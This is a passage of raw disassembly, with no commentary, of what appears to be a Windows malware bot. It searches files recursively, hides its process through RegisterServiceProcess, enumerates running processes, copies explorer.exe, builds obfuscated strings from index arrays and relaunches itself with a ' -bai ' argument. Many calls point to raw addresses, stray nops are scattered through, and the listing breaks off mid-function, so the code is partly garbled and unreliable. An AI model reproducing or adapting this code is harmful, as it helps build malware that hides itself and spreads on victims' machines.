loc_40CD2B:				; CODE XREF: sub_40CBB0+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		add	esp, 18h
		lea	edx, [esp+284h+var_20C]
		push	eax
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5EDAB2
		mov	eax, [esp+28Ch+var_211]
		add	esp, 0Ch
		cmp	eax, ebx
		jnz	short loc_40CD99
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CD99:				; CODE XREF: sub_40CBB0+1C6j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		call	near ptr 2830000h
		nop
		pop	ebx


loc_40CDAE:				; CODE XREF: sub_40CBB0+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CE60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CEE0:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438D86
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF60	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_2	; "%s\\*"
		push	104h
		push	eax
		call	edi ; dword_50FAD8
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D027


loc_40CFB0:				; CODE XREF: sub_40CF60+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D017
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40CFCA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D017
		cmp	al, 2Eh
		jz	short loc_40D017


loc_40CFCA:				; CODE XREF: sub_40CF60+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset aSS_0	; "%s\\%s"
		push	104h
		push	ecx
		call	edi ; dword_50FAD8
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D017:				; CODE XREF: sub_40CF60+55j
					; sub_40CF60+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40CFB0


loc_40D027:				; CODE XREF: sub_40CF60+4Ej
		push	ebx
		call	near ptr 2850355h
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset aSS_0	; "%s\\%s"
		push	104h
		push	eax
		call	edi ; dword_50FAD8
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0BB


loc_40D068:				; CODE XREF: sub_40CF60+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi ; dword_50FAD8
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D068


loc_40D0BB:				; CODE XREF: sub_40CF60+106j
		push	ebx
		nop
		call	near ptr 2850355h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CF60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D130	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D130
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40D130	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D2E0:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880B30h
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, dword_4470B0
		test	eax, eax
		jz	loc_40D403
		mov	ecx, dword_4470AC
		test	ecx, ecx
		jz	loc_40D403
		mov	ecx, dword_446F78
		test	ecx, ecx
		jz	loc_40D403
		push	0
		push	2
		call	eax ; dword_4470B0
		cmp	eax, 0FFFFFFFFh
		mov	dword_4470A8, eax
		jz	loc_40D403
		push	ebp
		push	offset dword_446F80
		push	eax
		xor	ebp, ebp
		mov	dword_446F80, 128h
		call	dword_4470AC	; Process32First
		test	eax, eax
		jz	loc_40D3EC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D36D:				; CODE XREF: ___:0040D3E7j
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446FA4
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446FA4
		add	edx, ecx
		push	edx
		call	esi ; dword_50FAD4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D3D3
		mov	edi, offset dword_446FA4
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446FA4
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi ; dword_50FAD4
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D3D4


loc_40D3D3:				; CODE XREF: ___:0040D3ABj
		inc	ebp


loc_40D3D4:				; CODE XREF: ___:0040D3D1j
		mov	eax, dword_4470A8
		push	offset dword_446F80
		push	eax
		call	dword_446F78	; Process32Next
		test	eax, eax
		jnz	short loc_40D36D
		pop	edi
		pop	esi
		pop	ebx


loc_40D3EC:				; CODE XREF: ___:0040D357j
		mov	ecx, dword_4470A8
		push	ecx
		nop
		call	near ptr 283076Ch
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D403:				; CODE XREF: ___:0040D306j
					; ___:0040D314j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D460:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2890C45h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi ; dword_50F8E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 2890784h
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx ; dword_50F8D8
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi ; dword_50F8E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D526
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2890000h
		push	esi
		call	ebx ; dword_50F8D8


loc_40D526:				; CODE XREF: ___:0040D4C9j
					; ___:0040D50Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D580	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_154		= byte ptr -154h
var_124		= word ptr -124h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 27E0B29h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		call	near ptr 2880B30h
		nop
		push	eax
		nop
		call	near ptr 2880000h
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27D0968h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D671
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi ; dword_50F8A0
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_4470B4, eax
		call	edi ; dword_50F8A0
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_4470B0, eax
		call	edi ; dword_50F8A0
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_4470AC, eax
		call	edi ; dword_50F8A0
		mov	dword_446F78, eax
		mov	eax, dword_4470B4
		test	eax, eax
		jz	short loc_40D671
		push	ebx
		push	0
		call	eax ; dword_4470B4


loc_40D671:				; CODE XREF: sub_40D580+A7j
					; sub_40D580+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D6A8
		mov	al, byte_44719F
		test	al, al
		jz	short loc_40D6A8
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4


loc_40D6A8:				; CODE XREF: sub_40D580+10Dj
					; sub_40D580+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+1D4h+var_19C]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+1CCh+var_19C]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+1D4h+var_19C]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+1D4h+var_19C]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+1D4h+var_19C]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+1A8h+var_19C]
		mov	byte ptr [esp+1A8h+var_4], bl
		call	sub_401226
		lea	eax, [esp+1A8h+var_16C]
		push	0
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_401807
		test	eax, eax
		jnz	loc_40D9A0
		push	ebp
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	5Ch
		lea	ecx, [esp+1B4h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B8h+var_110]
		push	offset aSCS	; "%s%c%s"
		push	ecx
		nop
		call	sub_5EDAB2
		mov	edi, dword_50F8A4
		add	esp, 14h
		call	edi ; dword_50F8A4
		lea	edx, [esp+1ACh+var_110]
		push	0
		push	edx
		lea	ecx, [esp+1B4h+var_184]
		mov	ebp, eax
		call	sub_401681
		mov	esi, dword_50F90C
		push	eax
		call	esi ; dword_50F90C
		test	eax, eax
		jnz	short loc_40D90F


loc_40D8DF:				; CODE XREF: sub_40D580+38Dj
		call	edi ; dword_50F8A4
		sub	eax, ebp
		cmp	eax, 61A8h
		jnb	short loc_40D90F
		push	7D0h
		nop
		call	near ptr 2821DA2h
		lea	eax, [esp+1ACh+var_110]
		push	0
		push	eax
		lea	ecx, [esp+1B4h+var_184]
		call	sub_401681
		push	eax
		call	esi ; dword_50F90C
		test	eax, eax
		jz	short loc_40D8DF


loc_40D90F:				; CODE XREF: sub_40D580+35Dj
					; sub_40D580+368j
		mov	al, byte_4477FB
		pop	ebp
		test	al, al
		jz	short loc_40D952
		mov	esi, dword_50FACC
		push	104h
		lea	ecx, [esp+1ACh+var_110]
		push	offset aBai_0	; " -bai "
		push	ecx
		call	esi ; dword_50FACC
		add	esp, 0Ch
		lea	ecx, [esp+1A8h+var_184]
		push	104h
		call	sub_4017E4
		lea	edx, [esp+1ACh+var_110]
		push	eax
		push	edx
		call	esi ; dword_50FACC
		add	esp, 0Ch


loc_40D952:				; CODE XREF: sub_40D580+397j
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+1A8h+var_154]
		lea	edx, [esp+1A8h+var_110]
		rep stosd
		mov	[esp+1A8h+var_124], ax
		lea	eax, [esp+1A8h+var_19C]
		lea	ecx, [esp+1A8h+var_154]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	ebx
		push	0
		push	0
		push	edx
		push	0
		mov	dword ptr [esp+1D0h+var_154], 44h
		nop
		call	near ptr 27F0000h
		test	eax, eax
		jz	short loc_40D9A0
		push	0
		nop
		call	near ptr 77C39E7Eh


loc_40D9A0:				; CODE XREF: sub_40D580+304j
					; sub_40D580+416j
		lea	ecx, [esp+1A8h+var_184]
		mov	byte ptr [esp+1A8h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A8h+var_16C]
		mov	[esp+1A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A8h+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 19Ch
		retn	4
sub_40D580	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB10	proc near		; CODE XREF: sub_401195j
		mov	al, byte_4471A1
		test	al, al
		jz	short loc_40DB24
		push	offset word_4471A2
		nop
		call	near ptr 27E08F2h


loc_40DB24:				; CODE XREF: sub_40DB10+7j
		mov	al, 1
		retn
sub_40DB10	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB40	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DB40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880B30h
		push	eax
		call	near ptr 2880000h
		nop
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27C0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset aSS_0	; "%s\\%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E0A1
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		add	esp, 18h
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+708h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+710h+var_4], 2
		call	sub_4019B5
		add	esp, 30h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		add	esp, 18h
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+714h+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+71Ch+var_4], 4
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		add	esp, 1Ch
		mov	[esp+6E0h+var_6C8], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+708h+var_5D4]
		push	7
		push	edx
		mov	byte ptr [esp+710h+var_4], 6
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		add	esp, 30h
		mov	[esp+6E0h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+714h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+71Ch+var_4], 8
		call	sub_4019B5
		add	esp, 3Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		mov	byte ptr [esp+734h+var_4], 9
		push	18h
		push	5
		push	4Eh
		push	14h
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 7Ch
		mov	[esp+6E0h+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+6F8h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+700h+var_4], 0Ah
		call	sub_4019B5
		add	esp, 20h
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
